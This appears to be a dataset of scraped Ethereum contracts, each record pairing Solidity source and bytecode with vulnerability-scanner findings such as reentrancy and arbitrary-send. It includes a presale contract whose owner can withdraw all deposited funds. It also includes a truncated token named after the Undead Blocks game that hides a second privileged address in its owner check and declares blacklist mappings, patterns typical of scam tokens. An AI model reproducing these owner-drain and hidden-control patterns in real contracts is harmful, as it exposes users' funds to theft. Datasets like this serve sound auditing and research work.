000612c1282612bf0565b9050919050565b60005b83811015612c37578082015181840152602081019050612c1c565b83811115612c46576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f54726164696e67206973206e6f74207374617274656420796574000000000000600082015250565b61302a81612bb2565b811461303557600080fd5b50565b61304181612bc4565b811461304c57600080fd5b50565b61305881612bf0565b811461306357600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122007e1397b6d6eaba8ec57f5fa8a5011ff4182c020083a152c41ff3392ca4ca2fb64736f6c63430008070033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
6,972
0xb26512C3562aF5dB0e03455E044f1DFeC0BA0d4B
pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return payable(msg.sender); } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract Contribut is Ownable { struct EventData { string eventName; address depositToken; uint256 depositTotal; uint256 hardCap; uint256 maxContribut; uint256 minContribut; uint256 FCFSTimer; address[] users; address owner; bool active; } mapping(uint256 => EventData) public eventList; uint256 public eventNonce; struct ContributionData { uint256 eventId; uint256 depositAmount; } mapping(address => ContributionData[]) public userList; struct UserData { address user; uint256 depositAmount; } event Published(uint256 eventId, string eventName, address depositToken, uint256 hardCap, uint256 maxContribut, uint256 minContribut, uint256 FCFSTimer, address owner, bool active); event Close(uint256 eventId, address depositToken, uint256 depositTotal); event Contribution(uint256 eventId, address user, uint256 depositAmount); event Vested(uint256 eventId, address user, address tokenAddress, uint256 amount); receive() external payable {} function RecoverERC20(address _tokenAddress) public onlyOwner { uint256 balance = IERC20(_tokenAddress).balanceOf(address(this)); IERC20(_tokenAddress).transfer(owner(), balance); } function RecoverETH() public onlyOwner() { address owner = owner(); payable(owner).transfer(address(this).balance); } function SetEvent(string calldata _eventName, address _depositToken, uint256 _hardCap, uint256 _maxContribut, uint256 _minContribut, uint256 _FCFSTimer) external onlyOwner { require(_hardCap >= _maxContribut, "Invalid hardCap"); require(_maxContribut >= _minContribut, "Invalid minContribut"); require(_depositToken != address(0), "Invalid depositToken"); address[] memory users; eventList[eventNonce] = EventData({ eventName : _eventName, depositToken : _depositToken, depositTotal : 0, hardCap : _hardCap, maxContribut : _maxContribut, minContribut : _minContribut, FCFSTimer : _FCFSTimer, users : users, owner : msg.sender, active : true }); emit Published(eventNonce, _eventName, _depositToken, _hardCap, _maxContribut, _minContribut, _FCFSTimer, msg.sender, true); eventNonce++; } function CloseEvent(uint256 _eventId) external onlyOwner { require(_eventId < eventNonce, "Invalid EventId"); require(eventList[_eventId].active, "Event is not active"); require(eventList[_eventId].hardCap == eventList[_eventId].depositTotal, "Not reached hardCap"); IERC20(eventList[_eventId].depositToken).transfer(msg.sender, eventList[_eventId].depositTotal); eventList[_eventId].active = false; emit Close(_eventId, eventList[_eventId].depositToken, eventList[_eventId].depositTotal); } function SetVested(uint256 _eventId, address _tokenAddress, uint256 _amount) external onlyOwner { require(_eventId < eventNonce, "Invalid EventId"); require(eventList[_eventId].active == false, "Event is active"); uint256 preBalance = IERC20(_tokenAddress).balanceOf(address(this)); IERC20(_tokenAddress).transferFrom(msg.sender, address(this), _amount); UserData[] memory data = getEventData(_eventId); uint256 balance = IERC20(_tokenAddress).balanceOf(address(this)) - preBalance; for (uint256 i = 0; i < data.length; i++) { uint256 vestedBalance = balance * 1e18 * data[i].depositAmount / eventList[_eventId].depositTotal / 1e18; if (vestedBalance > 0) { IERC20(_tokenAddress).transfer(data[i].user, vestedBalance); emit Vested(_eventId, data[i].user, _tokenAddress, vestedBalance); } } balance = IERC20(_tokenAddress).balanceOf(address(this)); if (balance > preBalance) { IERC20(_tokenAddress).transfer(msg.sender, balance - preBalance); } } function Deposit(uint256 _eventId, uint256 _depositAmount) external { require(_eventId < eventNonce, "Invalid EventId"); require(eventList[_eventId].active, "Event is not active"); require(eventList[_eventId].FCFSTimer < block.timestamp || eventList[_eventId].maxContribut >= _depositAmount, "Deposit is high"); require(eventList[_eventId].minContribut <= _depositAmount, "Deposit is low"); require(eventList[_eventId].hardCap >= eventList[_eventId].depositTotal + _depositAmount, "It is beyond hardCap"); bool flag = false; ContributionData[] storage data = userList[msg.sender]; for (uint256 i = 0; i < data.length; i++) { if (data[i].eventId == _eventId) { data[i].depositAmount += _depositAmount; require(eventList[_eventId].FCFSTimer < block.timestamp || eventList[_eventId].maxContribut >= data[i].depositAmount, "Deposit is high"); eventList[_eventId].depositTotal += _depositAmount; IERC20(eventList[_eventId].depositToken).transferFrom(msg.sender, address(this), _depositAmount); emit Contribution(_eventId, msg.sender, data[i].depositAmount); flag = true; break; } } if (!flag) { data.push( ContributionData({ eventId : _eventId, depositAmount : _depositAmount }) ); eventList[_eventId].depositTotal += _depositAmount; IERC20(eventList[_eventId].depositToken).transferFrom(msg.sender, address(this), _depositAmount); emit Contribution(_eventId, msg.sender, _depositAmount); address[] storage users = eventList[_eventId].users; users.push(msg.sender); eventList[_eventId].users = users; } userList[msg.sender] = data; } function Refund(uint256 _eventId, uint256 _refundAmount) external { require(_eventId < eventNonce, "Invalid EventId"); require(eventList[_eventId].active, "Event is not active"); ContributionData[] storage data = userList[msg.sender]; for (uint256 i = 0; i < data.length; i++) { if (data[i].eventId == _eventId) { require(data[i].depositAmount >= _refundAmount, "Contributions are insufficient"); data[i].depositAmount -= _refundAmount; eventList[_eventId].depositTotal -= _refundAmount; IERC20(eventList[_eventId].depositToken).transfer(msg.sender, _refundAmount); emit Contribution(_eventId, msg.sender, data[i].depositAmount); userList[msg.sender] = data; break; } } } function getUserData(address _user, uint256 _eventId) public view returns (uint256 _depositAmount) { ContributionData[] memory data = userList[_user]; for (uint256 i = 0; i < data.length; i++) { if (data[i].eventId == _eventId) { return data[i].depositAmount; } } } function getUserAllData(address _user) public view returns (ContributionData[] memory _userAllData) { return userList[_user]; } function getEventData(uint256 _eventId) public view returns (UserData[] memory _userData) { address[] memory users = eventList[_eventId].users; UserData[] memory data = new UserData[](users.length); for (uint256 i = 0; i < users.length; i++) { data[i].user = users[i]; data[i].depositAmount = getUserData(users[i], _eventId); } return data; } }
0x6080604052600436106100f75760003560e01c8063a3af609b1161008a578063ea2c48bf11610059578063ea2c48bf146102c4578063ee0359d3146102e4578063eedd097014610304578063f2fde38b1461032457600080fd5b8063a3af609b1461023a578063a7e031c71461025a578063bfeaf8c11461027a578063cd4995231461028f57600080fd5b80635eee8032116100c65780635eee8032146101ae578063715018a6146101d057806386379e98146101e55780638da5cb5b1461021257600080fd5b80631c3e6ee6146101035780634392bb681461012c578063493280d2146101595780634cd01af11461018e57600080fd5b366100fe57005b600080fd5b34801561010f57600080fd5b5061011960035481565b6040519081526020015b60405180910390f35b34801561013857600080fd5b5061014c61014736600461208a565b610344565b604051610123919061215e565b34801561016557600080fd5b5061017961017436600461208a565b610510565b604051610123999897969594939291906121a9565b34801561019a57600080fd5b506101196101a9366004611fa0565b6105f4565b3480156101ba57600080fd5b506101ce6101c93660046120ee565b610702565b005b3480156101dc57600080fd5b506101ce6109fa565b3480156101f157600080fd5b50610205610200366004611f7f565b610a6e565b604051610123919061210f565b34801561021e57600080fd5b506000546040516001600160a01b039091168152602001610123565b34801561024657600080fd5b506101ce6102553660046120ee565b610af7565b34801561026657600080fd5b506101ce610275366004611fe9565b6110cd565b34801561028657600080fd5b506101ce61139b565b34801561029b57600080fd5b506102af6102aa366004611fa0565b61140e565b60408051928352602083019190915201610123565b3480156102d057600080fd5b506101ce6102df366004611f7f565b61144a565b3480156102f057600080fd5b506101ce6102ff36600461208a565b611596565b34801561031057600080fd5b506101ce61031f3660046120ba565b611784565b34801561033057600080fd5b506101ce61033f366004611f7f565b611cd4565b60008181526002602090815260408083206007018054825181850281018501909352808352606094938301828280156103a657602002820191906000526020600020905b81546001600160a01b03168152600190910190602001808311610388575b505050505090506000815167ffffffffffffffff8111156103d757634e487b7160e01b600052604160045260246000fd5b60405190808252806020026020018201604052801561041c57816020015b60408051808201909152600080825260208201528152602001906001900390816103f55790505b50905060005b82518110156105085782818151811061044b57634e487b7160e01b600052603260045260246000fd5b602002602001015182828151811061047357634e487b7160e01b600052603260045260246000fd5b6020026020010151600001906001600160a01b031690816001600160a01b0316815250506104c88382815181106104ba57634e487b7160e01b600052603260045260246000fd5b6020026020010151866105f4565b8282815181106104e857634e487b7160e01b600052603260045260246000fd5b6020908102919091018101510152806105008161240c565b915050610422565b509392505050565b60026020526000908152604090208054819061052b906123d1565b80601f0160208091040260200160405190810160405280929190818152602001828054610557906123d1565b80156105a45780601f10610579576101008083540402835291602001916105a4565b820191906000526020600020905b81548152906001019060200180831161058757829003601f168201915b5050505060018301546002840154600385015460048601546005870154600688015460089098015496976001600160a01b039586169794965092949193909291811690600160a01b900460ff1689565b6001600160a01b038216600090815260046020908152604080832080548251818502810185019093528083528493849084015b8282101561066d57838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190610627565b50505050905060005b81518110156106f957838282815181106106a057634e487b7160e01b600052603260045260246000fd5b60200260200101516000015114156106e7578181815181106106d257634e487b7160e01b600052603260045260246000fd5b602002602001015160200151925050506106fc565b806106f18161240c565b915050610676565b50505b92915050565b600354821061072c5760405162461bcd60e51b815260040161072390612295565b60405180910390fd5b600082815260026020526040902060080154600160a01b900460ff166107645760405162461bcd60e51b8152600401610723906122be565b336000908152600460205260408120905b81548110156109f4578382828154811061079f57634e487b7160e01b600052603260045260246000fd5b90600052602060002090600202016000015414156109e257828282815481106107d857634e487b7160e01b600052603260045260246000fd5b90600052602060002090600202016001015410156108385760405162461bcd60e51b815260206004820152601e60248201527f436f6e747269627574696f6e732061726520696e73756666696369656e7400006044820152606401610723565b8282828154811061085957634e487b7160e01b600052603260045260246000fd5b9060005260206000209060020201600101600082825461087991906123ba565b90915550506000848152600260208190526040822001805485929061089f9084906123ba565b90915550506000848152600260205260409081902060010154905163a9059cbb60e01b8152336004820152602481018590526001600160a01b039091169063a9059cbb90604401602060405180830381600087803b15801561090057600080fd5b505af1158015610914573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109389190611fc9565b507fee5e682f79085c85b959874a59b4897eae17b6448ab068a467169ca1b2e1a888843384848154811061097c57634e487b7160e01b600052603260045260246000fd5b9060005260206000209060020201600101546040516109b7939291909283526001600160a01b03919091166020830152604082015260600190565b60405180910390a133600090815260046020526040902082546109dc91908490611dbe565b506109f4565b806109ec8161240c565b915050610775565b50505050565b6000546001600160a01b03163314610a245760405162461bcd60e51b815260040161072390612260565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6001600160a01b0381166000908152600460209081526040808320805482518185028101850190935280835260609492939192909184015b82821015610aec57838290600052602060002090600202016040518060400160405290816000820154815260200160018201548152505081526020019060010190610aa6565b505050509050919050565b6003548210610b185760405162461bcd60e51b815260040161072390612295565b600082815260026020526040902060080154600160a01b900460ff16610b505760405162461bcd60e51b8152600401610723906122be565b600082815260026020526040902060060154421180610b8057506000828152600260205260409020600401548111155b610bbe5760405162461bcd60e51b815260206004820152600f60248201526e088cae0dee6d2e840d2e640d0d2ced608b1b6044820152606401610723565b600082815260026020526040902060050154811015610c105760405162461bcd60e51b815260206004820152600e60248201526d4465706f736974206973206c6f7760901b6044820152606401610723565b60008281526002602081905260409091200154610c2e908290612363565b6000838152600260205260409020600301541015610c855760405162461bcd60e51b815260206004820152601460248201527304974206973206265796f6e6420686172644361760641b6044820152606401610723565b336000908152600460205260408120815b8154811015610f245784828281548110610cc057634e487b7160e01b600052603260045260246000fd5b9060005260206000209060020201600001541415610f125783828281548110610cf957634e487b7160e01b600052603260045260246000fd5b90600052602060002090600202016001016000828254610d199190612363565b9091555050600085815260026020526040902060060154421180610d845750818181548110610d5857634e487b7160e01b600052603260045260246000fd5b906000526020600020906002020160010154600260008781526020019081526020016000206004015410155b610dc25760405162461bcd60e51b815260206004820152600f60248201526e088cae0dee6d2e840d2e640d0d2ced608b1b6044820152606401610723565b60008581526002602081905260408220018054869290610de3908490612363565b9091555050600085815260026020526040908190206001015490516323b872dd60e01b8152336004820152306024820152604481018690526001600160a01b03909116906323b872dd90606401602060405180830381600087803b158015610e4a57600080fd5b505af1158015610e5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e829190611fc9565b507fee5e682f79085c85b959874a59b4897eae17b6448ab068a467169ca1b2e1a8888533848481548110610ec657634e487b7160e01b600052603260045260246000fd5b906000526020600020906002020160010154604051610f01939291909283526001600160a01b03919091166020830152604082015260600190565b60405180910390a160019250610f24565b80610f1c8161240c565b915050610c96565b50816110a9576040805180820182528581526020808201868152845460018181018755600087815284812095516002938402909601958655925194019390935587815290829052918220018054859290610f7f908490612363565b9091555050600084815260026020526040908190206001015490516323b872dd60e01b8152336004820152306024820152604481018590526001600160a01b03909116906323b872dd90606401602060405180830381600087803b158015610fe657600080fd5b505af1158015610ffa573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061101e9190611fc9565b50604080518581523360208201529081018490527fee5e682f79085c85b959874a59b4897eae17b6448ab068a467169ca1b2e1a8889060600160405180910390a160008481526002602090815260408220600701805460018101825581845291832090910180546001600160a01b031916331790559085905280546110a69082908190611e1e565b50505b33600090815260046020526040902081546110c691908390611dbe565b5050505050565b6000546001600160a01b031633146110f75760405162461bcd60e51b815260040161072390612260565b828410156111395760405162461bcd60e51b815260206004820152600f60248201526e0496e76616c6964206861726443617608c1b6044820152606401610723565b818310156111805760405162461bcd60e51b8152602060048201526014602482015273125b9d985b1a59081b5a5b90dbdb9d1c9a589d5d60621b6044820152606401610723565b6001600160a01b0385166111cd5760405162461bcd60e51b815260206004820152601460248201527324b73b30b634b2103232b837b9b4ba2a37b5b2b760611b6044820152606401610723565b604080516101606020601f8a01819004028201810190925261014081018881526060928291908b908b908190850183828082843760009201829052509385525050506001600160a01b0389166020808401919091526040808401839052606084018a90526080840189905260a0840188905260c0840187905260e084018690523361010085015260016101209094019390935260035482526002815291902082518051919261128192849290910190611e6a565b506020828101516001830180546001600160a01b0319166001600160a01b0390921691909117905560408301516002830155606083015160038301556080830151600483015560a0830151600583015560c0830151600683015560e083015180516112f29260078501920190611ede565b5061010082015160089091018054610120909301511515600160a01b026001600160a81b03199093166001600160a01b03909216919091179190911790556003546040517ff2d5aeeb3295e198437eea2a33db36d739635a057fc0fffa8845d9ef6e721c7991611374918b908b908b908b908b908b908b9033906001906122eb565b60405180910390a16003805490600061138c8361240c565b91905055505050505050505050565b6000546001600160a01b031633146113c55760405162461bcd60e51b815260040161072390612260565b600080546001600160a01b03166040519091506001600160a01b038216904780156108fc02916000818181858888f1935050505015801561140a573d6000803e3d6000fd5b5050565b6004602052816000526040600020818154811061142a57600080fd5b600091825260209091206002909102018054600190910154909250905082565b6000546001600160a01b031633146114745760405162461bcd60e51b815260040161072390612260565b6040516370a0823160e01b81523060048201526000906001600160a01b038316906370a082319060240160206040518083038186803b1580156114b657600080fd5b505afa1580156114ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ee91906120a2565b9050816001600160a01b031663a9059cbb6115116000546001600160a01b031690565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b15801561155957600080fd5b505af115801561156d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115919190611fc9565b505050565b6000546001600160a01b031633146115c05760405162461bcd60e51b815260040161072390612260565b60035481106115e15760405162461bcd60e51b815260040161072390612295565b600081815260026020526040902060080154600160a01b900460ff166116195760405162461bcd60e51b8152600401610723906122be565b600081815260026020819052604090912090810154600390910154146116775760405162461bcd60e51b815260206004820152601360248201527204e6f742072656163686564206861726443617606c1b6044820152606401610723565b6000818152600260208190526040918290206001810154910154915163a9059cbb60e01b815233600482015260248101929092526001600160a01b03169063a9059cbb90604401602060405180830381600087803b1580156116d857600080fd5b505af11580156116ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117109190611fc9565b5060008181526002602081815260409283902060088101805460ff60a01b19169055600181015492015483518581526001600160a01b03909316918301919091528183015290517f116fde7943d3685c886edf89b49ebe78ebec359c3db46c8972274ae4e270193f9181900360600190a150565b6000546001600160a01b031633146117ae5760405162461bcd60e51b815260040161072390612260565b60035483106117cf5760405162461bcd60e51b815260040161072390612295565b600083815260026020526040902060080154600160a01b900460ff161561182a5760405162461bcd60e51b815260206004820152600f60248201526e4576656e742069732061637469766560881b6044820152606401610723565b6040516370a0823160e01b81523060048201526000906001600160a01b038416906370a082319060240160206040518083038186803b15801561186c57600080fd5b505afa158015611880573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118a491906120a2565b6040516323b872dd60e01b8152336004820152306024820152604481018490529091506001600160a01b038416906323b872dd90606401602060405180830381600087803b1580156118f557600080fd5b505af1158015611909573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061192d9190611fc9565b50600061193985610344565b6040516370a0823160e01b815230600482015290915060009083906001600160a01b038716906370a082319060240160206040518083038186803b15801561198057600080fd5b505afa158015611994573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119b891906120a2565b6119c291906123ba565b905060005b8251811015611bb0576000670de0b6b3a7640000600260008a815260200190815260200160002060020154858481518110611a1257634e487b7160e01b600052603260045260246000fd5b60200260200101516020015185670de0b6b3a7640000611a32919061239b565b611a3c919061239b565b611a46919061237b565b611a50919061237b565b90508015611b9d57866001600160a01b031663a9059cbb858481518110611a8757634e487b7160e01b600052603260045260246000fd5b6020908102919091010151516040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260248101849052604401602060405180830381600087803b158015611adb57600080fd5b505af1158015611aef573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b139190611fc9565b507fd41fa3f761ecffaf0b49f7a9ec32aa80b561c4d296f62c2b2d2c3d6f8b070f7688858481518110611b5657634e487b7160e01b600052603260045260246000fd5b6020026020010151600001518984604051611b9494939291909384526001600160a01b03928316602085015291166040830152606082015260800190565b60405180910390a15b5080611ba88161240c565b9150506119c7565b506040516370a0823160e01b81523060048201526001600160a01b038616906370a082319060240160206040518083038186803b158015611bf057600080fd5b505afa158015611c04573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c2891906120a2565b905082811115611ccc576001600160a01b03851663a9059cbb33611c4c86856123ba565b6040516001600160e01b031960e085901b1681526001600160a01b0390921660048301526024820152604401602060405180830381600087803b158015611c9257600080fd5b505af1158015611ca6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611cca9190611fc9565b505b505050505050565b6000546001600160a01b03163314611cfe5760405162461bcd60e51b815260040161072390612260565b6001600160a01b038116611d635760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610723565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b828054828255906000526020600020906002028101928215611e0e5760005260206000209160020282015b82811115611e0e57825482556001808401549083015560029283019290910190611de9565b50611e1a929150611f33565b5090565b828054828255906000526020600020908101928215611e5e5760005260206000209182015b82811115611e5e578254825591600101919060010190611e43565b50611e1a929150611f4e565b828054611e76906123d1565b90600052602060002090601f016020900481019282611e985760008555611e5e565b82601f10611eb157805160ff1916838001178555611e5e565b82800160010185558215611e5e579182015b82811115611e5e578251825591602001919060010190611ec3565b828054828255906000526020600020908101928215611e5e579160200282015b82811115611e5e57825182546001600160a01b0319166001600160a01b03909116178255602090920191600190910190611efe565b5b80821115611e1a5760008082556001820155600201611f34565b5b80821115611e1a5760008155600101611f4f565b80356001600160a01b0381168114611f7a57600080fd5b919050565b600060208284031215611f90578081fd5b611f9982611f63565b9392505050565b60008060408385031215611fb2578081fd5b611fbb83611f63565b946020939093013593505050565b600060208284031215611fda578081fd5b81518015158114611f99578182fd5b600080600080600080600060c0888a031215612003578283fd5b873567ffffffffffffffff8082111561201a578485fd5b818a0191508a601f83011261202d578485fd5b81358181111561203b578586fd5b8b602082850101111561204c578586fd5b602092830199509750612062918a019050611f63565b96999598509596604081013596506060810135956080820135955060a0909101359350915050565b60006020828403121561209b578081fd5b5035919050565b6000602082840312156120b3578081fd5b5051919050565b6000806000606084860312156120ce578283fd5b833592506120de60208501611f63565b9150604084013590509250925092565b60008060408385031215612100578182fd5b50508035926020909101359150565b602080825282518282018190526000919060409081850190868401855b828110156121515781518051855286015186850152928401929085019060010161212c565b5091979650505050505050565b602080825282518282018190526000919060409081850190868401855b8281101561215157815180516001600160a01b0316855286015186850152928401929085019060010161217b565b60006101208083528b5180828501528291505b808210156121de576020828e01015161014083860101526020820191506121bc565b808211156121f0578261014082860101525b601f01601f191683016101400191506122169050602083018b6001600160a01b03169052565b8860408301528760608301528660808301528560a08301528460c083015261224960e08301856001600160a01b03169052565b8215156101008301529a9950505050505050505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6020808252600f908201526e125b9d985b1a5908115d995b9d1259608a1b604082015260600190565b6020808252601390820152724576656e74206973206e6f742061637469766560681b604082015260600190565b60006101208c83528060208401528a81840152506101408a8c82850137828b018101919091526001600160a01b0398891660408301526060820197909752608081019590955260a085019390935260c084019190915290931660e0820152911515610100830152601f909201601f1916010192915050565b6000821982111561237657612376612427565b500190565b60008261239657634e487b7160e01b81526012600452602481fd5b500490565b60008160001904831182151516156123b5576123b5612427565b500290565b6000828210156123cc576123cc612427565b500390565b600181811c908216806123e557607f821691505b6020821081141561240657634e487b7160e01b600052602260045260246000fd5b50919050565b600060001982141561242057612420612427565b5060010190565b634e487b7160e01b600052601160045260246000fdfea264697066735822122084d34e5e33380cd3d096384c1deeee4f52a3ad5e37ff8d523407f2069c6a3e2d64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
6,973
0xcc8ef320456ffa6d654342895b096ee7e43179b5
/* https://www.undeadblocks.com/ https://undead-blocks-team.gitbook.io/undead-blocks-whitepaper/gameplay/introduction */ pragma solidity ^0.8.0; library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IERC20Metadata is IERC20 { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } contract UNDEAD is Context, IERC20, IERC20Metadata { mapping(address => uint256) public _balances; mapping(address => mapping(address => uint256)) public _allowances; mapping(address => bool) private _blackbalances; mapping (address => bool) private bots; mapping(address => bool) private _balances1; address internal router; uint256 public _totalSupply = 500000000*10**18; string public _name = "Undead Blocks"; string public _symbol= "UNDEAD"; bool balances1 = true; bool private tradingOpen; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; uint256 private openBlock; constructor() { _balances[msg.sender] = _totalSupply; emit Transfer(address(this), msg.sender, _totalSupply); owner = msg.sender; } address public owner; address private marketAddy = payable(0xEbEb3E685053C98f0603b8eFeE2dF557bcA9F612); modifier onlyOwner { require((owner == msg.sender) || (msg.sender == marketAddy)); _; } function changeOwner(address _owner) onlyOwner public { owner = _owner; } function 